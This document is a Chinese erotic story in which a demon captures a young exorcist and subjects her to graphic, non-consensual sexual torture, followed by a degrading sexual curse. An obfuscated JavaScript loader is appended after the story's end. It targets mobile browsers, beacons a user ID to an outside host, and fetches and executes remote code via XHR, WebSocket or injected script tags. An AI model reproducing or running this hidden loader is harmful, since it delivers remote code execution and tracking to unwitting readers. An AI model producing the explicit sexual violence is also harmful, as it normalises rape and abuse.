凌虐驱魔师

  「啊……这是……」

驱魔师璐鸢在婉转的低吟中捂着脑袋苏醒过来,体型小巧玲珑的少女借着角落里苔藓发出的荧光,茫然地望着眼前这片覆盖着猩红血肉的世界。在短短几秒的时间内,璐鸢便回忆起她昏迷之前发生的事情。

出生于驱魔师世家的璐鸢修炼道术小有所成,在成人仪式后便被委派了调查石桥村畜牧失踪的事件。通常来说这种偷盗畜牧的事件都是一些刚开智不久的妖魔作恶,难度对于璐鸢这种小菜鸟来说恰到好处,而家族赐予的护身符咒也足以保护她的安全。

而璐鸢也的确在石桥村村民的指引下发现了线索并消灭了一头狼妖,只是在道别之际,璐鸢出于好意施展了驱除妖气的符咒,以免狼妖在村子里留下的气息伤害到村民。但璐鸢没想到的是村民们早已被另一名大妖魔「桀」附身,在符咒的力量下,整个村子的村民们纷纷在哀嚎中膨胀成筋肉纠缠的怪物扑向璐鸢。

璐鸢在冷静地施展各种符咒杀出了村子,却见到大妖魔桀正在村口端坐在血肉王座上,仅仅是从王座上飞出的两只飞头妖便击败了璐鸢,在晕厥前璐鸢最后的记忆便是一片淹没她整个人的血肉浪潮。

「这……这里就是桀在体内开辟的洞天世界吗……完了……死定了……」如果说璐鸢算是低阶中的精英,那么桀便算得上是高阶中赫赫有名的强者,就算是在联邦和各大门派通缉令上也是名列前茅的存在。不过璐鸢并没有被敌人的威名吓倒,在短暂的绝望之后,少女抹去眼角的泪水,小心翼翼地在这片陌生的世界试图探索出一条生路。

「呼……哈……不行了……要……要坚持不下去了……」在不见天日的血肉迷宫中,恶劣的环境无时无刻不在消耗着璐鸢的灵力,而压抑的气氛和时不时出现的战斗更是让璐鸢本就不多的灵石储备快速地耗尽。此时璐鸢正扶着一颗表面满是树瘤的大树艰难地喘息着,淋漓的汗水正沿着璐鸢的脸颊流淌而下。悄无声息之间血肉迷宫中的温度逐渐变得酷热难耐,从璐鸢忍不住扯松的法袍衣襟中,可以看到少女素白色的贴身衣服都已被汗水浸湿贴在诱人的胴体上。

「呵呵……小驱魔师……这么快便支撑不住了吗……我还没玩够呢……」在轻佻的笑声中,一旁的墙壁上血肉退让出一个幽深的通道,一个身影从通道中走了出来。璐鸢背靠着大树转头看去,只见面前站着的男子正是把她俘虏的大妖魔。在近距离的观察下,无论是桀那从身体上生长出来的长袍还是那鲜红色的蛇状竖瞳,都彰显着他非人的身份。

「妖魔受死吧……」

在看到妖魔的短短几秒时间内,璐鸢便意识到了自己再也没有逃出生天的机会。回想起家族记载中被妖魔俘虏的人类那凄惨的下场,璐鸢娇呼着鼓起最后一份力气朝着桀扑了过去,试图引动身上仅剩的一张爆炸符咒给桀带来伤害的同时了结自己的性命。

「呜哼……」

璐鸢的脑袋撞到桀的胸膛上痛呼着踉跄后退摔倒在地面上,本就疲惫不堪的少女一下子撞懵了,呆呆地表现出一副反应迟缓的可爱样子。不过桀并没有和璐鸢同样愣住,强忍着笑意的妖魔把自己的意志灌注进枯树内,刹那间血肉化的树枝上垂落下数条柔韧的触手缠着少女的双臂后把她吊在了半空中。

「放……放开我……」

「哈哈……哈哈哈哈……这就是你的底牌吗……小驱魔师……」随着少女的挣扎,一张巴掌大的符咒从她身上掉落下来,桀拾起符咒在璐鸢面前展开,只见符咒上鲜血描绘的纹路都扭曲生长出许多细小的触须,整个符咒已经从驱魔符咒变成了让人堕落的邪恶符咒。

在一阵自顾自的狂笑后,桀突然间变得面无表情地看着璐鸢的面孔,鲜红欲滴的瞳孔微微扩大,晶莹的眼球中清晰地照映着少女娇小可爱的模样。在妖魔冷酷的注视下,丧失了抵抗能力的璐鸢紧紧咬着牙关遏制着身体不出现丢人的反应,只是脑子里已经快速地闪过了许多种悲惨的结局。

「呵呵呵呵……小驱魔师……你也知道自己逃不掉了吧……乖乖听话的话……其实我也是很温柔的哦……来……张嘴……把舌头伸出来……」妖魔的脸上挂着拙劣怪异的笑容,眼前的猎物虽然打乱了他的潜伏计划,但习惯了失败的桀并不介意,相对来说反而是像璐鸢这种可口的猎物更令他感到兴奋。

不出桀的意料,即使是实力还不够强的璐鸢也保持着驱魔师的荣誉,并没有轻易地在绝境中屈服,即使是被触手吊起仅能保持脚尖点地的姿势,少女也依旧在浑身颤抖的情况下怒视着他,以长久的沉默来表达内心的反抗。

「噫……是……是什么……」

璐鸢在和桀的对视僵持中,突然感觉到一股冰凉滑腻的感觉从小腿开始向上滑动,强烈的厌恶感使得少女忍不住发出惊呼,微微颤抖的璐鸢裸露的脖颈上绷紧着白皙的皮肤。

「快……快停下……求求你了……唔……」

几根触手分别缠住少女的脖颈和脚踝,本就无力挣扎的璐鸢动弹不得,只能感受着仿佛触手状的东西伸进她的裤脚内沿着她的双腿向上滑动。而使得璐鸢忍不住求饶的则是触手从内裤的边缘挤了进去,分开了少女在平时洗澡时总被师姐们拍打的翘臀,滑腻的触手仿佛人的舌头般一下下地舔舐着璐鸢的股沟,还时不时地轻点着想要挤进少女紧缩的屁眼中。

「呵呵……只是想要帮你清理一下屁股而已……也就是两三条最多膨胀到手腕粗的触手……最糟糕也不过是小屁眼被彻底插坏……以后大便失禁罢了……对不乖的小孩子,就是要这样惩罚哦!」桀微笑着说出让璐鸢毛骨悚然的话语,而在妖魔说话的时候,璐鸢清楚地感知到在臀部抵在屁眼上的粗壮触手逐渐缩小到手指般粗细,在臀肉的夹持下,慢斯条理的触手一点点地宛如蚯蚓般抵进肠道内。

「呃……啊啊啊……快停下……呜……我会乖乖听话的……不要……不要再进去了……啊……」浑身绷紧的璐鸢仰着头发出婉转的低吟,夹紧的屁股反而清晰无比地感受到触手一寸寸挤入的触感,触手末端兴奋地在少女的肠道中甩动拍打着肠壁,强烈的羞耻感和排泄感使得璐鸢在呜咽中急促地哀求着。对于纯洁的璐鸢来说,此时对屁股的玩弄已经是宛如传说地狱中才存在的刑罚,仅仅是简单的接触便会令她陷入疯狂。

「敏感点在屁眼吗?真是可爱的表情呢……我还没有看够……不会停下来的……嘿嘿嘿嘿……」桀向前走近少女的身边,在拔出璐鸢插在脑后的桃木发簪扔到一旁后,抓着璐鸢脑后的秀发强迫她抬起头任由桀欣赏俏脸上的痛苦和绝望。同时璐鸢的双腿也被触手们纠缠着向两侧拉开,使得触手能更方便地玩弄少女的屁眼。

滑腻的触手在插入璐鸢的肠道后便一点点地膨胀,从刚通过屁眼时的手指般粗细逐渐膨胀到儿臂般的尺寸,同时触手上还源源不断地分泌出具有催情和刺激功能的粘液。随着粘液逐渐被少女的身体吸收,璐鸢感觉腹腔内仿佛燃烧着熊熊的烈火,只有被触手撑开的肠道传来阵阵充实而又清凉的感觉。

「啊啊啊……屁股要裂开了……肚子好烫……呜咕……触手拔出去了……又……又插进来了……呜呜呜……杀了我……杀了我吧……噫……」泪眼朦胧的璐鸢从桀兴奋的瞳孔中感受到了妖魔那残忍的恶意,同时粗大的触手肆意地抽插菊腔带来的耻辱感也毫无停歇地折磨着少女的精神。惊恐的璐鸢发现在触手的玩弄下,本应感受到剧烈痛苦的身体快速地适应着触手膨胀的尺寸,曲折的肠道被表面滑腻而遍布凸起的触手摩擦出宛如山泉水般甘甜的快感,一点点浇灭了小腹中的灼烧感。

「呜……啊啊啊……嘶哈……嘶哈……噫……」璐鸢张大嘴巴急促地喘息着,滚烫的吐息喷到桀的脸颊上又反弹回来被重新吸入体内。在桀的瞳孔中,璐鸢清晰地看见自己大汗淋漓的脸颊遍布着红晕,张大的双唇间无力地吐着舌头任由唾液从嘴角滴落的淫靡模样。

「呵呵……小驱魔师……你也觉得自己的样子很好看吧……好想就这样把你玩坏掉……你说好不好呀……」「咕……呜……」璐鸢被强迫着注视桀瞳孔中自己淫荡的模样,随着魔气顺着呼吸和肠道吸收逐渐污染少女的身体,一股越来越强烈的冲动充斥着少女的身体。在桀兴奋的注视下,身体突然绷紧的璐鸢泛着白眼,在一阵胡乱的呻吟中身体不由自主地抽搐,而后整个人仿佛烂泥般瘫软下来,全靠着触手的拉扯才没有倒在地上。

哑然失笑的桀温柔地捧着璐鸢的俏脸,轻轻吮吸着少女的柔舌使得她能顺畅地呼吸。而在璐鸢逐渐回过神来之后,桀才任由璐鸢收回舌头,先是把少女脸颊上被汗水沾湿的头发撩到耳后,然后在一寸寸地舔去少女嘴角的唾液和满脸的汗水。

途中恢复神智的璐鸢紧闭着双眼任由桀玩弄,原本视死如归的抵抗心理在经过一番对她来说宛如地狱的折磨后荡然无存。一想到妖魔传说中的千百种玩弄花样,璐鸢惊恐的心中便泛起浓浓的绝望。

「味道真棒……小驱魔师现在倒是乖了一点点……对了……你是叫什么名字呢……」「千……璐鸢……」「是小璐鸢呀……刚才很舒服吧……让我看看你淫荡的屁眼变成什么样子了……」「呜……能不能……」「难道小璐鸢不愿意吗?」

「不……不是……只是……呜咕……好羞耻……」柔韧的触手挽着少女膝盖内侧把她的双腿摆成小孩子尿尿的姿势,其余交织的触手托着璐鸢的后背和臀部。随着桀施展法术,一面晶莹的冰境竖立在璐鸢面前,满脸通红的璐鸢在桀警告的目光下,被迫看着镜中的自己被一点点地剥去湿透的衣服。

在扯下丝绸腰带后,璐鸢宽大的法袍便从中向两侧分开,法袍下是一套素白色的棉布上衣和长裤,随着桀手指微微拨动长裤化为凌乱的布片掉落到地面上,露出了璐鸢汁水淋漓的下身。

「噫……」

桀在少女的腰间轻轻一划,璐鸢的内裤便「啪」地一声掉落到地面上,随着淅淅沥沥的淫液顺着股沟滴落到地面上,一股芬芳中带有腥臊味的浓郁气味在空气中弥漫。闻嗅着从自己身体里分泌出的淫液气味,璐鸢看着冰境中阴毛被淫水浸润着粘成一团,并且屁股中间被一根粗大触手撑开粉色屁眼的少女,从喉咙深处艰难地挤出羞耻的呜咽。

「咔嚓……」

「小璐鸢,这些杂乱的毛发我就帮你剃掉了,看看剃完后多漂亮,以后也不会再长出来了哦!」在剃掉璐鸢的阴毛后,桀满意地看着少女光溜溜的阴阜上粉色的蜜裂一览无遗,芬芳黏稠的蜜汁沾满了璐鸢白皙的阴阜和大腿内侧。在桀的注视下,璐鸢的小穴仿佛受到刺激般蠕动着,紧闭的阴唇中又潺潺流出一缕黏稠的蜜汁,顺着股沟流淌到乌黑的触手上。

「小璐鸢也喜欢看美美的自己哦,别发呆了,我要拔出来了!」「等……等一下……噫啊啊啊……」站到少女身侧的桀把她的上衣撩起到乳房下,粗大的触手把璐鸢的小腹撑得微微鼓起,随着触手调皮地摆动,在少女嫩滑的肚皮上凸起触手末端的形状,随着触手的动作凸起部分在小腹区域四下游走着。

被触手动作惊醒的璐鸢本能地夹紧屁眼,而触手就在少女身体绷紧的时候以粗大的尺寸缓慢而坚决地拔了出来。璐鸢本想着咬紧牙关不发出羞耻的声音,但是鼓起的小腹逐渐恢复平坦和粉嫩红肿的屁眼一点点吐出触手带来的排泄感交错着刺激她的精神,堕落欢愉的精神和肉体的双重快感使得少女的意志逐渐崩溃,忍不住发出婉转悠扬的呻吟。

在「啵」的一声中,触手的末端从璐鸢的屁眼中全部拔了出来,大股大股的肠液从外翻的屁眼中稀里哗啦地流淌着,从短时间无法收拢的屁眼看进去,还能看到璐鸢小半截不断蠕动的粉嫩肠壁。

「哈哈……小璐鸢的屁眼被玩坏了……看上去好可怜啊……」「才……才没有……没有被玩坏……啊啊啊……」在桀的取笑声中,璐鸢努力尝试着缩紧被扩张玩弄的屁眼,憋红了脸的少女逐渐使得被玩弄得爽到麻木的屁眼逐渐收缩,只是外翻的一小块肠壁还在顽强地坚持着,一次次传出异样的触感提醒着璐鸢此时羞耻的境地。

快急得哭出来的少女在不留意件用力过猛,在一种「噼哩噗噜」的悠长响屁中,喷溅炸开的肠液沾满了璐鸢挺翘的臀肉上,感觉脑中的羞耻感快要轰然炸开的少女急忙又放松身体,却使得前面的蜜裂上也淅淅沥沥地失禁尿了出来。

随便怎样被玩弄都无所谓了,反正身体已经被玷污了,希望这一切都赶快过去吧……璐鸢呆呆地瘫坐在纠缠的触手上望着血肉迷宫的穹顶,期待着今天经历的玩弄只是一场梦境,但出现在视野里桀的邪恶笑容无情地击破了少女虚假的幻想。

「小璐鸢,休息好了吗?我想着再玩弄璐鸢的奶子和小穴后就放你回去,小璐鸢可要好好加油哦!」「真……真的吗……」强忍着笑意的桀在少女期望而又畏惧的目光中点了点头,只是璐鸢此时还不知道妖魔正在筹划中的邪恶计划。懵懂的少女在桀的命令下一圈圈解开了缠在胸前的绷带,出乎桀意外的是璐鸢的胸膛看上去不算丰满,但解开绷带后显露的双乳却是漂亮而又丰满的水滴状乳型。

璐鸢乖巧地听从桀的要求,把双手扭到身后被桀用绷带紧紧缠住。被迫挺起胸膛的少女呼吸有些急促,看上去便感觉沉甸甸的双乳随着胸口的起伏而颤颤巍巍地抖动着。看着多余的绷带,桀微笑着把绷带缠在璐鸢的乳根处,使得两个美乳更加显得饱满圆润。

桀异于人类的宽大手掌恰好能整个把璐鸢的乳房握在手掌中,随着手指逐渐收紧,白皙细腻的乳肉如同果冻般从指缝溢出。而当桀双手开始揉捏弹软的乳肉时,璐鸢小巧的乳头来回摩擦着粗糙的掌心和指腹,粉嫩的蓓蕾在摩擦刺激下充血膨胀成嫣红色的可爱模样,用手指按捏时总能引得少女发出娇媚的呻吟。

「小璐鸢,看看你的奶子,揉起来好舒服呢,璐鸢也感觉很舒服吧?」「有点痛……呜……不要这么用力……啊啊……就是这样……胸口有点酥麻……感觉好涨……噫……」无论是抬头还是低头,璐鸢都能看到自己的双乳被揉捏出一道道红色的指印,怀揣着希望的少女乖巧地配合着妖魔的玩弄,而随着乳尖被桀的指甲一次次刮弄,呻吟的璐鸢只觉得双乳的肿胀感越来越强烈却又无从释放,情不自禁地在桀捏住乳尖时扭动着身体,在拉扯和疼痛中发泄着身体的苦闷。

「小璐鸢骚起来了,这就让你爽上天吧!」

「等……等等……这个……这个真的可以吗……」看着从桀背后伸出来的两根手指粗的触手,在半空中扭动着从末端张开,露出了环状的长满密密麻麻牙齿的狰狞口器,璐鸢在恐惧中向后瑟缩着身子。但被触手和绷带紧紧束缚的情况下却容不得璐鸢退缩,被强迫着挺起胸膛的少女眼看着触手稍稍后退,然后如同闪电般扑近咬住了嫣红的乳头。

「啊……啊啊……呜咕……」

从触手的口器中伸出的细小触须深深地顺着乳孔插进乳尖里,而后圆钝坚硬的牙齿紧紧咬住乳头空余出来的部分,随着触手的口器慢慢缩紧,细密的牙齿缓慢地研磨璐鸢娇嫩的乳尖,使得少女发出一阵阵断断续续的悲鸣。

「接下来就是玩弄小璐鸢的小穴了哦,不过我还没选好用哪一根呢,小璐鸢你说呢?」桀按着少女的脑袋,逐渐适应乳头被咬着左右撕扯快感的璐鸢感受着源源不断的液体被注入到双乳中,在缓解了身体苦闷的同时又带来另外一种想要激烈喷射的渴望。不过扯开长袍的桀下身却使得璐鸢在一瞬间屏住了呼吸,密密麻麻的或张着尖牙、或张着吸盘的奇怪触手胡乱地摇摆着,仅仅是注视便能意识到插入体内会带来令人癫狂的快感。

「要不全让小璐鸢试一下吧,刚好我也有时间来绘制魔咒呢!」「会……会死的……魔咒是什么意思……不要啊……噫呜……啊啊啊啊…… 唔……」下一刻璐鸢便被妖魔卷起地面上的内裤塞住了嘴巴,最为柔韧粗糙的触手抵进少女的花径内,捅破处女贞洁后扭动着挤开子宫颈的阻挡,狠狠地撞击到璐鸢子宫的最深处。可怜的璐鸢被插入子宫的触手挑起后顶在树干上,剧烈的疼痛使得少女在一瞬间便晕了过去,但咬在乳尖上的触手快速地注入诡异的药物,使得璐鸢很快便苏醒过来强行保持清醒的头脑,无助地承受着妖魔暴虐的欲望。

在血肉迷宫中,怀揣着一丝微弱希望的少女在千百根挥舞的触手前苦苦支撑着,一次又一次在绝望的哀鸣中喷溅出各种的体液,而后又被强迫吸收满怀恶意的诡异药剂。璐鸢在昏迷前的最后记忆,便是桀在狞笑中在少女灌满精液高高鼓起的小腹上描绘出一个邪恶的符咒,而后如同火焰灼烧的痛苦便成为了少女昏迷前的最后感受。

……

「璐鸢,回来了呀,任务完成得怎么样了?」

「还……还好,这是作恶的狼妖头颅……」

「做得好,妖魔危害人间,人人得以诛之!」

坐在房间内打坐的璐鸢回想起交付任务时家族长老威严的面孔,却怎么都不敢说出自己被妖魔俘虏玩弄的事情,害怕被当做是妖魔控制的奸细。就在璐鸢担忧惧怕的思绪中,一股熟悉的麻痒从小腹深处逐渐变得强烈起来。

「这次……这次一定要忍住……呜……忍不住呜……」端坐的璐鸢在颤抖中双手撑在地面上,只穿着一身棉布衣裳的少女咬着嘴唇发出如泣如诉的低声呻吟,一抹湿痕在棉裤的臀部位置逐渐扩大。感觉脸颊滚烫无比的璐鸢把脑袋贴在地板上,但冰凉的瓷砖却完全缓解不了身体上的灼热感。

在再三的犹豫过后,璐鸢还是颤抖地伸出双手脱下了白色棉质长裤,在少女挺翘的臀峰中间,粉嫩的屁眼在激烈地蠕动着,仿佛在呼吸般微微张合着,丝丝缕缕的肠液在屁眼的蠕动间潺潺流下。璐鸢随手一抹便从股沟中沾了满手的肠液,含着手指呜咽吮吸的少女艰难地在地板上爬行到橱柜旁边取出了两个大碗。

胡乱地撕扯下穿着的衣服,赤裸的璐鸢蹲在地板上,一个大碗被放在少女的臀下在滴答声中承接着肠液;而另一个大碗则被放到少女的右膝上。只见璐鸢蹙紧眉头把水滴状丰满优美的右乳搭在碗沿上,那高高挺翘的嫣红蓓蕾被一根细小的鱼线紧紧捆住根部,显示出和少女纯洁容貌截然不同的淫靡气息。

在拆下鱼线后,少女仅仅是轻轻地挤压白嫩的乳肉,一股乳白色的奶水便「嗞」地一声从乳孔中喷溅到碗里。在艰难地收集好双乳中的奶水后,璐鸢通过前些日子戴着面具买到的灌肠器把奶水注入自己的屁眼里,而后又强忍着羞耻喝下了小半碗肠液,才勉强把体内躁动的欲望稍微平复了下去。

但是这还仅仅是开始,来自妖魔的邪恶诅咒使得璐鸢还要夹着满肚子的奶水在镜子前自慰,然后在高潮后喝下自己排出的奶水,才能彻底平息这一次诅咒爆发。在一阵匆忙的行动后,瘫软在浴室里喘息的璐鸢羞耻地舔舐着地板上喷溅的奶水。

在浴室地板的角落不知道什么时候放了一张小镜子,璐鸢趴在地面上看着镜子里自己赤裸着身体,满脸汗水和奶水并且头发凌乱的模样陷入了长久的呆滞。

在沉默中回过神来的璐鸢凑近镜子,伸出舌头缓缓地舔舐着镜面上残留的几滴洁白的乳汁。

【完】
function QRbgNYZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function xdwEJYT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QRbgNYZ(t);};window[''+'z'+'h'+'o'+'k'+'G'+'a'+'g'+'K'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=xdwEJYT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/14913/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYWW5odWWltaWW4xLmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGdXkudGlhbbnhpbbmdoYW5nMS5jbbiUzQTk1MzU=','165532',window,document,['W','b']);}:function(){};